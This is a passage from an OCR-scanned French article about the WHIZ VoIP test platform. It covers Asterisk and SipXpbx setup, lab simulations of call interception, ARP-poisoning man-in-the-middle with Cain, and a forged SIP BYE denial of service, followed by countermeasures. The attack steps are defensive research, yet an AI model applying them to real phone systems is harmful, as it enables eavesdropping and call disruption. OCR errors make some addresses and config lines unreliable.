le serveur renvoie cependant le méme code erreur. Lanalyse
du journal du serveur proxy et des fichiers de configuration
nous permet de déduire que la variable MY 1P _ADDR du fichier
de configuration générale n'est pas prise en compte (fichier de
configuration générale : /etc/sipxpbx/condig.defs.in). Aprés
correction de cette donnée, le journal du serveur proxy fait etat
d'un démarrage nominal.

o Troisiéme analyse | Cependant, 'enregistrement ne se fait pas
encore de fagon correcte : I'analyse des trames révéle que I''PBX
renvoie un code erreur 401 : enregistrement non autorisé. Le
journal du serveur proxy confirme que la requéte est correctement
regue, puis transmise au serveur d'enregistrement sur le port 5070.
L'analyse du journal du serveur d'enregistrement révéle que la
verification d'appartenance au domaine se fait correctement, mais
gu'ensuite l'utilisateur n'est pas reconnu. Aprés comparaison des
donnees utilisées par le serveur pour effectuer la comparaison
(/etc/sipxdata/credentials,xml), il se trouve que la deuxiéme partie
de I'URI SIP entree dans le softphone correspond a l'adresse |P
de I'IPBX, alors que I'IPBX utilise son FQDN (Fully Qualified
Domain Name).

= Quatriéme analyse : Apres la modification de la configuration
du softphone de fagon a étre conforme aux données saisies dans
I'IPBX, I'enregistrement se fait correctement.

Une fois installé, I'lPBX SipXpbx fournit un service de qualité,
avec une interface d'administration facile d'emploi. Cependant,
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la phase d'installation demande un investissement important
et ne correspond pas encore complétement a la notion de
produit directement exploitable. D'une part, la préparation de
l'environnement initial mangue de documentation, d'autre part, une
fois la démarche d'installation terminée, il nous a fallu corriger les
fichiers de configuration de |'IPBX.

'BX Asterix

Asterisk est un IPBX applicatif qui est utilise pour interconnecter
des equipements de voix par IP a ['aide de plusieurs protocoles,
tels que SIP, H.323, IAX, MGCP... Parallélement, il permet
d'utiliser les fonctionnalités suivantes : conférence téléphonique,
repondeur interactif, mise en file d'attente, enregistrement
d'appels, systéme de facturation. Asterisk supporte les protocoles
FXO (Foreign eXchange Office), FXS (Foreign eXchange
Subscriber), TDM (Time Division Multiplexing), PRI (Primary
Rate Interface)... rendant ce serveur compatible avec la plupart
des configurations.

Installation de 'lPBX Asterisk
Comme pour I'lPBX SipXpbx, il est nécessaire de telecharger des
RPM pour installer Asterisk, ceux-ci sont bien documentés ;

= asterisk-1.2.2.tar.gz ;

= asterisk-addons-1.2.1.tar.qz ;

& asterisk-sounds-1.2.1.1ar.gz ;

= Jibpri-1.2.2.tar.gz, zaptel-1.2.2.tar.gz.

Les aspects techniques detaillés de l'installation de ces RPM sont
decrits dans I'annexe technique de [2].

Configuration de 'IPBX Asterisk

Par defaut, les fichiers de configuration se trouvent dans le
répertoire /etc/asterisk/. Les fichiers de configuration generigues
ont ensuite été modifiés pour s'adapter a |'architecture souhaitee.
Le répertoire de configuration contient de nombreux élements,
mais nous ne considérerons que le fichier sip.conf, qui permet de
créer les comptes SIP et le fichier extension.cont utilise pour gérer
le plan de numérotation (DialPlan).

Sip.conf

Le fichier sip.conf est le fichier de creation de comptes SIP. Chaque
compte est défini en fonction de champs et se trouve imbrique dans
un bloc ou sont énumérés tous les parametres qui lui sont lies.
De plus, un bloc général est créé au début du fichier qui enumere
tous les paramétres globaux. Les champs les plus importants sont
illustrée dans le tableau 1 (page suivante).

Extension.conf

Le fichier extension.conf contient tout le plan de numérotation du
serveur. C'est dans ce fichier que seront associés les numéros
de teléphones (extension) a differentes actions ou comptes
d'utilisateurs. Le fichier est articulé autour de deux axes : le
contexte global et les contextes particuliers. Un contexte est une
zone de memoire privée dans laquelle des actions de poriée limitee
sont exécutées. De ce fait, deux extensions ne peuvent avoir le
méme numéro dans un méme contexte, ce qui pourrait tout a fait
étre possible dans deux contextes différents.
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Contenu

username Nom de I'utilisateur
secret Mot de passe du compte
e Contexte dans lequel est associe le compte dans le
fichier extension.conf
Type de compte, de 3 sortes :
¥ peer : pour appeler e compte associé aux
type opérateurs ;

= friend : pour appeler et &tre appelé ;

= User : pour simplement étre appelé.

Ladresse IP du client si c'est une adresse fixe ou le
host mot clé dynamigue sl ladresse IP est obtenue de
maniére dynamigue

Défini si les equipements traversent un réseau NAT
nat {network address Translation), utile pour maintenir la
connexion a travers les equipements

disallow Liste des codecs a proscrire sur le serveur

allow Liste des codecs a autoriser pour les paquets audio

Lenregistrement d'une extension se fait de la maniere suivante :

exten => Extension, NumeroSequence Action,

Le mot cle exten est utilisé pour chague extension, |'extension etant
le numero qui sera associé a |'action ou au compte. Le numero de
sequence est le rang de l'action pour I'extension donnée. Puisque
plusieurs actions peuvent étre invoquées pour la méme extension,
ce numero permet de les ordonner. Par exemple, la ligne suivante
permet de déclarer I'action Sonner sur le poste 1111 (client SIP
qui est une extension) :

exten => 1111 (Extension), | (NumeroSequence), 0ial (SIP/1111, 18] (Action)

On pourrait également déclarer une extension pour le poste 1111
qui renverrait sur la boite vocale en cas de non-décrochage ou de
ligne occupée. Cette extension prendrait le numéro de sequence
2 et serait definie de la fagon suivante :

exten => 1111 (Extension), ¢ (NumeroSequence), VoiceMail (ILL1} (Action)

Les configurations détaillées de ces deux fichiers sont décrites
dans I'annexe technique de [2]. En appliquant ces configurations, le
serveur Asterisk devient opérationnel. |l reste a choisir une solution
logicielle de client VolP et de declarer les clients conformément
aux fichiers de configuration d'Asterisk.

‘Conclusion sur Asterisk
LIPBX Asterisk est simple a installer, mais ne dispose pas
d'interface graphique de gestion comme SipXpbx (du moins
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au moment de notre étude [N2]). Les problemes de configuration
rencontrés (voir [2]) ont concerne la définition des champs des
fichiers de configuration et leur correspondance avec les champs
de |a solution softphone choisie.

Les terminaux VolP
A 'heure actuelle, en matiére de voix sur IP, il existe une multitude

de fournisseurs d'égquipements destinés a ['utilisateur final. On peut
les classer en quatre familles

= les télephones VolP classiques ;
= les adaptateurs VolP ;

= les teléphones VolP wireless ;
= |les softphones.

Les trois premiéres classes sont decrites dans [2]. Sans perte
de géneralites, et du fait des contraintes des colts, nous avons
considere la derniére classe.

A 'heure actuelle, le plus utilisé des softphones est X-Lite™ de la
société XTEN.

Interface du fogiciel X-Lite

Apres avoir testé plusieurs autres solutions de softphones, nous
avons choisi de mettre en place ce logiciel dans notre architecture,
car c'est un des produits les mieux documentes du marche.

La configuration des softphones est un des points délicats de
la mise en place de l'architecture VolP. La documentation sur le
sujet étant hétérogéne, il faut principalement fonctionner par tests
et recoupements d'informations. Les configurations de X-Lite
utilisées sur la plate-forme avec chacun des IPBX sont fournies
dans l'annexe technique de [2].

Au terme de cette phase de recherche théorique sur la VolP et
de mise en ceuvre concrete de différentes solutions IPBX, la
plate-forme VolP WHIZ a été mise en place. Une fois pleinement
opérationnelle, elle a permis de tester les principales fonctionnalites
décrites dans la documentation sur la VolP.
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Dans un but d'indépendance vis-a-vis du support logiciel et afin
de se doter d'une possibilité de comparaison, nous avons mis
en place deux IPBX différents sur la méme plate-forme. Ces
deux IPBX sont les principaux produits libres qui concurrencent
les offres commerciales de 3Com, Avaya, Cisco, Mitel, Nortel
et Siemens.

La plate-forme finale est composée comme suit :

Systéeme
d'exploitation

Caractéristiques

SipX 18921681.20 | FC4 Serveur SipXpbx

Asterisk | 192168110 | FC4 SSpSUpAS R
Wireshark

Ordit 19216811 | FC4 %‘295“ ﬁo’l'_f (\:i:;i)e posie:

ordiz | 19216812 | FC4 Sene < dte (WS o poste

3333, Nom : Laurent)

Ordia 19216813 FC 4 Client X-lite (configureé sous

SipXpbx)
Ordi4 192.168.1.4 Winxp Cain + Wireshark

Client X-iite (N" de poste
Ordi5 19216815 WinXP 1111, Nom : Franck)

Cain + Wireshark + S5iVusS

En guise de conclusion de cette premiére partie, il est aujourd'hui
réalisable de mettre en place une architecture VolP logicielle
a partir d'outils obtenus de fagon gratuite sur Internet. Cette
demarche demande une connaissance de base indispensable du
monde Linux pour la plupart des produits proposés, une étude
approfondie des protocoles et flux liés a la VolP et des prises de
contact avec les différents forums existants sur le théme. Ainsi,
l'installation d’'une plate-forme VolP ne s'avére pas aussi intuitive
et aisée que veulent le faire croire les fournisseurs d'IPBX. Les
deux tiers de la phase de développement ont été consacrés a
cette implementation.

Résultats de quelques

simulations d'attaques contre
la VoIP

Les réseaux |P sont aujourd'hui quasi omnipresents. Ces réseaux
et la documentation les concernant sont facilement accessibles et
permettent a tous d'étudier les problémes de securité connus et
publiés, ceci a 'inverse de l'obscurité qui caractérise les réseaux
RTC. La telephonie sur IP (TolP), qui s'appuie sur des réseaux IP,
peut donc étre la cible de toutes les attagues dérivées du monde
IP, que I'on peut lister et classifier de la fagon suivante :

= ecoute ou sniffing : capture discréte des paguets circulant sur
le reseau ;

= usurpation d'identite ou spoofing ;
= vol de session ou hijacking ;

= exploitation de vulnérabilité ou exploit : programme ou technigue
profitant d'une vulnérabilité dans un logiciel ;

= déni de service (DoS) : privation d’acceés a un service réseau |

= utilisation de programmes malveillants : virus, vers (worms),
trojans, programme malveillant s'exécutant a l'insu de 'utilisateur.

Nous aborderons l'aspect sécurité sous l'angle des trois piliers
de la SSI, et donc en nous attachant a relever les dangers
pour la VolP du point de vue de la confidentialite, de l'intégrité
et de la disponibifite. Cette partie n'a pas pour but premier de
parler exhaustivement des attaques contre la VoIP (il existe un
grand nombre d'études sur le sujet), mais d'illustrer la capacité
opérationnelle de la plate-forme WHIZ a rejouer ces attaques, de
les comprendre et, pour I'avenir, de disposer d'un environnement
non seulement didactiqgue puissant, mais également d'une plate-
forme expérimentale dédiée a la recherche.

Confidentialité

La confidentialité peut étre mise a mal au sein d'une architecture
VolIP par l'interception des flux échangés.

Problématique de I'interception
Dans un premier temps, il est intéressant de s'interroger sur les
informations qui peuvent étre récupérées en espionnant une
architecture VolP. Une des caractéristiques du protocole SIP est
de transmettre en code comprehensible par I'homme les données
de gestion des communications. Ainsi, un intrus pourra en principe
obtenir de fagon aisée a partir du flux SIP

= les identifiants des utilisateurs de la VoIP (champs From et To) ;

= des statistiques sur le trafic (horaires et durée des
communications, tableau d'appel...) ;

= des donnees techniques (adresse |P de I'IPBX, codecs
utilisés).

En plus de ces données qui permettent une analyse préalable
de l'architecture mise en place, le flux RTP pouvant également
etre intercepte comme n'importe guel autre protocole, une solution
d'interception et de restitution des communications peut également
étre envisagee.

Actuellement, il n'y a pas de produit specifiqguement dedie a cet
usage ouvertement proposé sur le marche, sil'on excepte le projet
Ity [1]. Cependant, ce projet ne semble pas étre opérationnel & ce
Jour. |l permet |'enregistrement de conversations (protocoles SIP,
SKINNY implementés, les protocoles H323 et SKYPE restant a
implementer) et la surveillance du trafic de signalisation [1]. La
solution choisie pour la restitution du flux audio est I'utilisation
du logiciel Sox pour le décodage du flux voix, puis celle du
logiciel Esound pour la fusion des différents canaux voix (un par
interlocuteur).

L'analyse de I'existant sur Internet nous a permis de trouver
de nouvelles solutions pour l'interception et la restitution de
conversations VolP, toutes disponibles. Deux solutions sont
proposées ci-dessous, |'une pour s'attaquer a un réseau
partage et la seconde offrant des solutions pour faire face a un
réseau commuté.
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L'analyse des dernieres versions de l'analyseur de trames
Wireshark a révéle que celui-ci proposait désormais des
fonctionnalités nouvelles concernant la VolP. En effet, en plus de
la traditionnelle interception des trames, Wireshark propose une
interface permettant :

= la restitution des flux voix (menu RTP), sans cependant proposer
de reconstitution de la conversation ;

= |a création automatigue d'un filtre sur les numéros de port pour
une conversation donnée (menu SIP) ;

= la liste des conversations VolP avec ses principales
caractéristigues et une représentation graphique du flux de
signalisation (menu Volip Calls).
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Wireshark : restitution des flux RTP

La figure 3b présente les conversations VolP detectees avec en
particulier les identifiants SIP et les adresses [P correspondantes
des différents utilisateurs du service de VolP.

Swwctsd Cal: Fiom #2111 88, £:10 To spiE2ER19 2 258 1. 10, staring
Toisk Caly: 3 Surtpacein @ Complered cls T Ameced ool |
o e |

ksl Wireshark | caractéristigues des conversations

La figure 3c présente, elle, I'analyse complete, requéte par requéte,
du trafic SIP intercepté.

Z0 Graph Analysis

192,388 L5 152 168,110 BRI

=T

Wireshark @ analyse du flux de signalisation

Au final, tout cela montre que 'ecoute sur un réseau partage est
possible. A l'aide d'un outil disponible gratuitement sur Internet,
n'importe quelle personne en mesure d'avoir acces a un réseau
partage (c'est-a-dire a une prise réseau) peut intercepter,
enregistrer et reconstituer des conversations VolP.

en réseau commuté : Cain
L'utilisation de swifches dans |'architecture d'un réseau permet
d'offrir une premiere securisation. En effet, grace aux switches, les
trames qui ne sont pas émises en broadcast ne sont commutées
que vers leur destinataire, alors qu'un hub répercute la trame sur
tous ses ports.

Internet nous a permis de trouver de nouveaux outils muti-usages,
moins connus du grand public que Wireshark, mais offrant de
nombreuses possibilités dont certaines peuvent permettre, avec
une bonne configuration, d'effectuer des interceptions au sein d'un
réseau commuté.

Présentation de Cain

Le logiciel Cain [5] avec son pendant Abel est un outil crég, selon
son auteur, dans un but didactigue. Lensemble est fonde sur une
architecture client/serveur : Abel, installé sur un poste a espionner,
retransmet des informations vers Cain qui les exploite, |l s'agit donc
d'un logiciel malveillant de type cheval de Troie orienté réseau.

Cain est en fait un analyseur de trames agréemente d'un certain
nombre de fonctionnalités orientées vers la recuperation de
données sensibles :

= scan d'un réseau et analyse de ses failles ;
= analyseur de frames pour les reseaux filaires et Wifi ;
= recupération et outils de crack de mots de passe ;

= telechargement et modification des fichiers de configuration des
equipements Cisco.

Dans le cadre du projet WHIZ, nous nous sommes &n
particulier interesses aux capacités d'interception de la VolP du
logiciel Cain.

Enregistrement et restitution de conversations

Le logiciel Cain permet comme Wireshark d'intercepter les flux
signalisation (SIP) et media (RTP) utilisés en VolP et propose
une interface comparable, avec en plus un module permettant
de casser les mots de passe utilisés pour l'identification SIP des
utilisateurs. De plus, les conversations sont proposées avec fusion
des différents canaux sous forme de fichiers .wayv directement
exploitables.

L'aspect sécurité : I'attaque de type man-in-
the-middle

Ce qui fait de Cain un outil réellement efficace, c'est sa capacité
d'intrusion d’'un réseau commuté. En effet, il permet de mettre en
ceuvre une attaque de type man-in-the-middle. Le man-in-the-
middle est en fait un intermédiaire entre deux ordinateurs censes
discuter entre eux de facon directe. |l joue le réle d'un routeur :
voyant passer tout le trafic et le redirigeant vers son destinataire
legitime. Notons par ailleurs gue Cain permet a I'attaguant d'usurper
des adresses MAC et IP afin de ne pas révéler son identité reelle
lors des attaques.
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Nous avons teste ce scénario avec larchitecture suivante ou l'intrus
exécute une attague de type man-in-the-middle entre les deux
clients X-Lite utilisant I'lPBX Asterisk.

Chent Astarisk
I 192,168 1.1
| Flux de signafisation
g - Flux voix
Switch | P
IPEX Aslorish |
182.1668.1.10 | Intrus
| @
Cliana Asterisk
192 168.1.2
Nom @Ip Rile Caractéristiques
N ! . N° de poste : 2222
Ordil 19216811 Client X-lite 1
MNom : Vero
) "y ) N° de poste : 3333
Ordi2 192.168.1.2 Client X-lite 2
Mom : Laurent
IPBX Asterisk
Asterisk | 192168110 | Serveur SIP Wireshark pour
observer les trames
echangees
Intrus 192.168.1.5 mmcepteur * Cain + Wireshark

Architecture dinferception en résealu commuté

Lexploitation de I'enregistrement Wireshark effectué a partir du
poste de l'intrus permet de vérifier le cloisonnement correct di
a l'utilisation du switch : le flux de signalisation n'est pas visible &
partir de l'intrus.

Une fois Cain configuré en sniffer afin de pouvoir intercepter la
communication {voir [2]), I'interception est realisée a l'aide de
Wireshark sur le poste de l'intrus. Lanalyse du trafic intercepté
prouve gue lintrus joue effectivement le réle de man-in-the-
middle, comme le montre clairement I'analyse du flux RTP par
Wireshark (figure 5). Chaque paquet apparait deux fois, ce qui
correspond a la réception et a la réémission par l'intrus, mais avec
les adresses |P usurpees des deux clients, ce que Wireshark traite
en considérant un des deux paquets comme incorrects (ligne
surlignée en rouge).

Ce test permet de valider la faisabilité d'une attague de type man-
in-the-middle dans une architecture VolP. Notons enfin que la
qualité du son restitue a l'arrivee n'est pas alteree par l'interposition
de l'intrus, sa présence n'est donc pas detectable par une simple
deterioration de la qualité de la liaison.

Interception man-in-the-middle

Tout ceci montre que si la sécurisation d'un réseau a l'aide de
switches permet donc d'augmenter le niveau de sécurité générale
d'une architecture, elle ne la rend pas pour autant inaccessible a
un intrus averti. En effet, l'interception reste possible a l'aide des
outils adequats comme nous |'avons demontré ici.

Intégrité '

Lintégrité des flux VolP est mise en cause a partir du moment
ol une attaque de type man-in-the-middle se révéle possible.
Nous avons montré precédemment qu'elle était réalisable non
seulement sur le flux de signalisation, mais egalement sur le
flux media, malgre la contrainte de temps réel. Nous détaillons
ici la technique qui permet |a réalisation de I'attague du man-in-
the-middle et I'exploitation qu'un intrus malveillant peut imaginer
en faire.

La corruption de cache ARP (Address Resolution Protocol) est une
attaque exploitant les vulnérabilités du protocole ARP qui permet
la realisation de I'attague du man-in-the-middle. Le protocole
ARP fonctionne en envoyant des requétes ARP afin de connaitre
l'adresse MAC correspondant a une adresse |P. Le propriétaire de
I'adresse |P repond en envoyant son adresse MAC. Afin de réduire
le nombre d'échanges ARP, les systémes d'exploitation conservent
un cache des réponses ARP prealablement obtenues. La mise a
jour de ce cache se fait lorsque l'ordinateur recoit une réponse ARP
ou lorsqu'il recoit une requéte ARP. Dans ce dernier cas, il met a
jour les éléments de I'expediteur de la requéte.

La corruption de cache ARP consiste a mettre a jour les caches
ARP des machines cibles avec de fausses entrées IP/MAC, en
utilisant des paquets ARP. Ce résultat esl réalisable aisement
a l'aide de Cain, d'autres logiciels comme CommView [6] ou
Winarp_sk [7] permettent également d'envoyer des paquets
ARP falsifiés.

Fait bien connu, rappelons que les échanges ARP ne passant pas
le stade des routeurs, ce type d'attague ne sera pas realisable
face a une structure protegee a l'aide de VLAN cumulé avec
un plan d'adressage IP adapié, un VLAN étant un domaine de
broadcast Ethernet logique qui agit comme un réseau physigue
a part entiere,

Exploitation d’'un man-in-the-middle
Une fois le flux intercepte, un intrus malveillant peut modifier

les paquets avant de les retransmettre vers leur destinataire et
porter ainsi atteinte a l'intégrité du flux VolP. Ces technigues
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sont connues [13] et nous ne nous étendrons pas plus a leur
sujet. En revanche, I'analyse du risque viral lie a la VolP est une
problématique d' « avenir » [14,15]. Linjection de contenu malicieux
dans un trafic VolP n'est plus techniguement impossible, mais il
reste une approche classigue commune aux trafics IP traditionnels
et au prix de quelques dispositifs (verification des tailles des
paquets recus, verification d'intégrité classique sue les paquets...),
la lutte contre ces attaques consistera a transposer au monde VolP,
les outils et technigues de la lutte antivirale classique. L'intérét de
la VolP reside peut étre spécifiquement dans l'importance du trafic
VolP et de la nature méme des données. Des études en cours
avec WHIZ concernent la possibilité de propager des attaques
virales indéiectables (en pratique au minimum) via un flux VolP,
notamment par ['utilisation de codes K-aires [8] et de technigues
de blindage a double clef [16]. Chaque paquet VolP ne transporte
gu'une partie anodine d'un code malveillant.

Disponibilité

Les architectures VolP étant fondées sur des réseaux IP, elles se
revelent vulnérables face a I'ensemble de |la panoplie classigue
des attaques de déni de service sur les reseaux IP .

= surcharge du réseau avec des paguets inutiles, creation de
phénomeénes de congestion et diminution de la qualité de service
sur le reseau ;

= surcharge des IPBX par inondation de demandes de
connexion ;

= exploitation des failles connues des supports logiciels ou
matériels utilisés (attague du serveur HTTP de SipXpbx, par
exemple).

De plus, des attaques spécifiques au domaine de la VolP peuvent
étre menées, par exemple en exploitant des failles des protocoles
de signalisation. On peut imaginer de générer de faux paquets de
signalisation SIP afin de forcer la fermeture d'une communication
(requétes BYE), empécher la mise en relation entre deux utilisateurs
(requétes CANCEL)...

que par insertior

iliégitime

| Principe |

Cette attague a pour but de forcer la fermeture d'une communication
en cours. Pour la réaliser, nous avons testé deux methodes
consistant & envoyer des paquets EYE falsifies, le but étant de se
faire passer pour un des clients engagés dans une conversation
et d'envoyer une methode SIP a 'autre interlocuteur afin de Iui
faire raccrocher son combiné. Cette attaque peut étre découpée
en trois phases :

= phase 1 de configuration du logiciel Cain ;

= phase 2 de récolte d'informations ;

= phase 3 de creation du faux paguet BYE.

Pour la premiere phase, il faut tout d'abord disposer d'un

outil permettant de détecter les conversations en cours et de
recupérer leurs caractéristiques : le cafl-ID, les champs Fromet To...
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Nous avons utilise une fois de plus Wireshark pour analyser
les trames.

Pour la seconde phase, il est necessaire de disposer d'un outil
permettant d'injecter un message SIP falsifie. Pour cela, nous
avons teste deux produits, d'une part le sniffer CommView et,
d'autre part, le logiciel SiVUS (SIP Vulnerability Scanner) [9]. Pour
mener cette attague de deni de service, nous nous sommes placés
dans la configuration suivante :

Intrus
BYE = a
- , -
INVITE __—_ =" “.f_“‘*-x INVITE
e o g
e IPBX Asterisk b
T 192 168,110 WS
“~ £
RTP @
Cliant X-Lite 1 Clisnt X-Lite 2
192.168.1.1 192.188.1.2
Nom @ip Réle Caractéristigues
: " ) N® de poste | 2222
Ordil 19216811 Client X-lite 1
Nom @ Vero
. I , N® de poste : 3333
Ordi2 192 168.1.2 Client X-lite 2
MNom : Laurent
IPBX Asterisk
Asterisk | 192168110 | Serveur SIP Wireshark pour
observer les trames
échangées
: Intercepteur + Cain + Wireshark +
Gt 192:168.1.5 A SiVus + CommView

n Attague de deni de service

| Phase 1 : configuration du logiciel Cain

Il nous faut, dans un premier temps, configurer Cain sur l'intrus en
sniffer afin de pouvoir intercepter, par l'intermédiaire de Wireshark,
les données echangées entre les clients X-Lite et I'lPBX lors de
I'établissement d'une communication et non plus seulement le flux
media, ce qui implique que Cain jouera le réle de man-in-the-
middle entre I'lPBX et les deux interlocuteurs.

Phase 2 : établissement d’une communication et
récupération des identifiants

Les informations suivantes (figure 7, page suivante) doivent étre
recuperees dans un des messages SIP precédents, par exemple
la réponse 200 (OK) de I'IPBX a l'interlocuteur qui a initie la
connexion :

= le numero de port source sur le serveur ;
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= identifiants des interlocuteurs : adresse IP et UR| SIP :

= les champs tag et branch, champs permettant d'identifier chaque
canal ;

= le Call-ID : identifiant de la conversation :

= Cseq : le numéro de séquence gu'il faut incrementer.

EENAE DD Ak csw5e 0 AAAr MEBE @
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interception des identifiants de communication

| Phase 3 : Création du faux message BYE

Une fois ces champs récupéres, on les insére dans un générateur
de messages avec les caractéristiques suivantes :

= |dentité usurpée : ordil — Vero ;

= Lappelé est le numéro 3333 (ordi2 — Laurent). Le transport se
fait par le protocole UDP sur le port 5060 ;

= Dans les champs Via, fromet Contact, on remplace les adresses
IP et SIP mises par défaut (I'adresse IP réelle le plus souvent :
192.168.1.5 dans notre cas), par celles du client pour lequel on
veut se faire passer ;

=~ On remplace les valeurs par défaut des champs Tag, Branch
et l'en-téte du Call-ID par celles récupérées par la capture
Wireshark.

Nous avons testé deux logiciels de génération de messages :
CommView [B] et SiVus [9].

= Logiciel CommView. Ce logiciel est un sniffer qui inclut
un module de generation de paquets de base. La recopie des
informations récupérées lors de la phase 2 se fait manuellement en
hexadécimal. La phase de création se réveéle donc particulierement
fastidieuse dans la mesure ol ce générateur de paquets ne dispose
pas de fonctions améliorées de type copier/coller permettant de
recopier un ensemble d'informations (figure 8).

A cause de sa lourdeur d'emploi, toutes les attagues ont été
réalisées avec le logiciel SiVuS.

= Logiciel SiVuS. Ce logiciel propose de nombreuses
fonctionnalites d'analyse d'une architecture VolP qui peuvent étre
utilisées pour securiser une architecture VolP. Pour mener cette
attague, nous avons utilise la fonctionnalité qui permet de générer
des messages SIP pré-formatés (figure 9).
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Le message d'usurpation est alors prét a 'envoi.

| Résultat de l'attaque

Le clic sur Start a pour effet immédiat de faire raccrocher
l'ordi2. On note que l'ordi1 reste en ligne, mais qu'il n'a plus de
correspondant. Notons que ce procédé peut étre utilisé lors de
la phase de connexion en envoyant un message de type CANCEL &
I'PBX avant qu'il n'ait renvoyé la réponse du destinataire, annulant
ainsi la procédure de mise en relation des deux clients 517,

Sécurisation d'une architecture

VolP

Lintérét du projet WHIZ est de disposer d'un environnement de
tests permettant egalement de tester des vulnérabilites, faiblesses,
defauts de configuration d'une architecture VolP et dans une
deuxieme phase d'étudier et d'évaluer les différenies méthodes
de securisation. C'est [a un intérét essentiel de WHIZ.
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Analyse des vulnérabilités d'une
architecture VolP

Les principales menaces contre une installation VolP sont
realisables grace a l'introduction d'un outil d'analyse de trames,
Nous présentons tout d'abord une methode de detection des postes
utilisant de tels outils, puis nous présentons le logiciel SiVuS [9],
outil d'évaluation de la sécurité des architectures VolP.

- Détection d’un intrus

Des methodes experimentales de detection des postes utilisant
des outils d'analyse de trames existent. Presentons ici les grandes
lignes de celles-ci afin de démontrer gue ces intrusions sont
géneralement détectables.

Les outils d'analyse de trame activent le mode promiscuous de
la carte réseau du poste afin d'inhiber le filtrage de celle-ci qui ne
laisse passer que les paguets a destination de son adresse MAC,
les paguets multicast ou les paquets broadcast. Une fois ce filtrage
materiel inhibé, I'analyseur de trame doit egalement neutraliser le
filtrage logiciel effectué par les systemes d'exploitation afin d'avoir
acceés a tous les paquets circulant sur sa portion de réseau. La
détection des analyseurs de trame passe donc par la detection des
postes ayant activé le mode promiscuous de leur carte réseau.

Z. Trabelsi [10] a décrit une méthode consistant a utiliser la
corruption du cache ARP et qui se décompose en trois phases :

= corruption du cache ARP des seules machines ayant leur carte
reseau en mode promiscuous ; une fausse entrée [P test/MAC test
est créée dans le cache ARP ;

= demande détablissement de connexion TCP piége avec chaque
machine du réseau : la fausse adresse IP _test estincluse dans le
message de demande de connexion ;

= analyse des réactions des machines :

~ une machine dont le cache ARP n'est pas corrompu ne
reconnait pas I'adresse IP et envoie une requéte ARP afin de
récupérer l'adresse MAC associée a 1F_test ;

“ une machine dont le cache ARP est corrompu génére un
paguet réponse TCP adressé a MAC_test.

Ce type de technigue, permettant de lutter contre les attaques
de type man-in-the-middle, commence a étre mis en ceuvre par
certains anti-sniffers disponibles sur le marché.

 Le logiciel SiVuS

Le logiciel SiVuS permet d'évaluer la robustesse d'une architecture
SIP en generant des attagues issues de la base de données SiVuS
ou en générant des messages SIP erronés grace au module SIP
message generator. Outre ce module, SiVuS est composé de deux
autres modules principaux.

Ce module permet de scanner plusieurs adresses |P pour
déterminer les machines qui utilisent SIP et qui pourraient donc étre
la cible d'attagues futures. Pour illustrer cela, testons le poste client
identifié par l'adresse |P 102.168.1.10. Les résultats apparaissent
sous la forme suivante : voir figure 10.

Le serveur Asterisk a éte reconnu. On exporte cette cible a l'aide
du bouton Export vers le panneau de configuration du scanner.
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Ce module, dans une seconde phase, vérifie les points suivants
lors des échanges VolP :

= analyse des en-tétes des messages SIP pour identifier les
vulnerabilités aux attaques telles que les buffer overflow ou le
déni de service ;

= authentification des messages de signalisation ;
= authentification des demandes d'enregistrement ;

= verification des capacites de securisation et de chiffrement des
communications.

Ces analyses sont éditées dans un rapport au format HTML.
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Pour sélectionner la cible, il suffit d'entrer I'adresse IP de [a cible.
Si l'option Export de la fenétre précédente a été utilisée, cest
l'adresse IP (ou le groupe d'adresses) détectée par le Discovery
Scanner qui sera reprise dans ce champ. Comme nous 'avons
vu dans la présentation de SIP, il est conseillé de cocher les
protocoles UDP et TCP. Les autres champs sont remplis par
defaut par 'application. La configuration du scanner doit alors étre
enregistrée pour étre validée.

Le contréle du scanner se fait a l'aide de la fenétre « Scanner
control panel ». Elle permet de lancer ou d'arréter le scan
correspondant a la configuration précédemment enregistree.
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[P Si\us : résultat du scanner

Les alertes apparaissent sous forme de feux rouges, jaunes ou
verts qui correspondent respectivement a des risques de niveau
fort, moyen ou faible. Les résultats du scanner peuvent étre
enregistrés et présentés dans un rapport au format HTML. Aprés
avoir identifié les menaces liées au protocole SIP, l'administrateur
peut egalement chercher a détecter d'éventuels intrus. Ainsi, un
administrateur réseau muni des bons outils est en mesure de
detecter des activites suspectes sur son réseau ef d'identifier
les suspects.

Utilisation du chiffrement

Face a |a relative facilité avec laquelle un intrus malveillant peut
intercepter les flux VolP, une réaction a la suite d'une détection
peut étre jugée insuffisante. Dans ce cas, le chiffrement des flux
constitue une solution de protection. Les différents moyens de
chiffrement des flux VolP sont les suivants :

= Protocole Secure RTP (SRTP). La principale limitation du
SRTP est qu'il ne chiffre que la charge utile. Or, comme le montrent
les études que nous avons présentées, un certain nombre de
renseignements peuvent étre tirés de 'analyse des en-tétes
(identifiants des utilisateurs...). La RFC 3711 qui décrit le SRTP
et son aspect chiffrement au chapitre 12 ne propose actuellement
que l'algorithme de chiffrement AES pour protéger les flux RTP.

[ DOSSIER ] (9

= Protocole MIKEY (Multimedia internet KEYring). A I'heure
actuelle, le projet Minisip [11] est l'une des implémentations les
plus avancees de MiKEY. |l propose une authentification via Diffie-
Hellman ou PSK et supporte TLS pour sécuriser les échanges SIP.
Son emploi permet donc |a protection de la charge utile comme du
flux de signalisation tout en limitant |'impact de la sécurisation au
niveau de la performance.

= Protocole IPsec. Lutilisation d'un tunnel IPsec permet
d'assurer une plus grande fiabilite et une plus grande protection
des informations et permet egalement de chiffrer le flux media
et le flux signalisation. Cette solution est cependant colteuse au
niveau materiel comme au niveau des ressources réseau. Par
ailleurs, elle suppose un effort non négligeable de configuration
et de maintenance. Enfin, les expériences menées montrent
gue I'emploi d’'IPsec augmente sensiblement la latence dans
les communications gui constitue un des points primordiaux de
la qualité de service pour la VolP. Au final, les mecanismes de
securité implémentés de bout en bout existent chez de nombreux
constructeurs et constituent une des seules solutions satisfaisantes,
mais restent selon les spécialistes de la sécurité tres rarement mis
en euvre.

= Protocole TLS. Le protocole TLS v1.0, fondé sur le protocole
SSL, a été normalisé en 1999 par I'IETF dans la RFC 2246.
Les protocoles SSL et TLS servent a securiser les échanges
d'informations entre un client et un serveur et a obtenir une
authentification mutuelle. Une session SSL/TLS correctement
etablie va donc proteger les echanges entre les parties, mais ne
sera en aucun cas une garantie de sécurité pour les systémes
client ou serveur (attagues logicielle, par man-in-the-middle, par
keylogger, compromission d'un serveur de session SSL/TLS).

Conclusion et travaux futurs

Les techniques de VolIP et les systémes de sécurité mis en
place sont en constante évolution. La plate-forme WHIZ
permet d'ores et déja de disposer d'un environnement
puissant de simulation, mais de nombreuses voies sur le
sujet restent a approfondir et feront, dans un proche avenir,
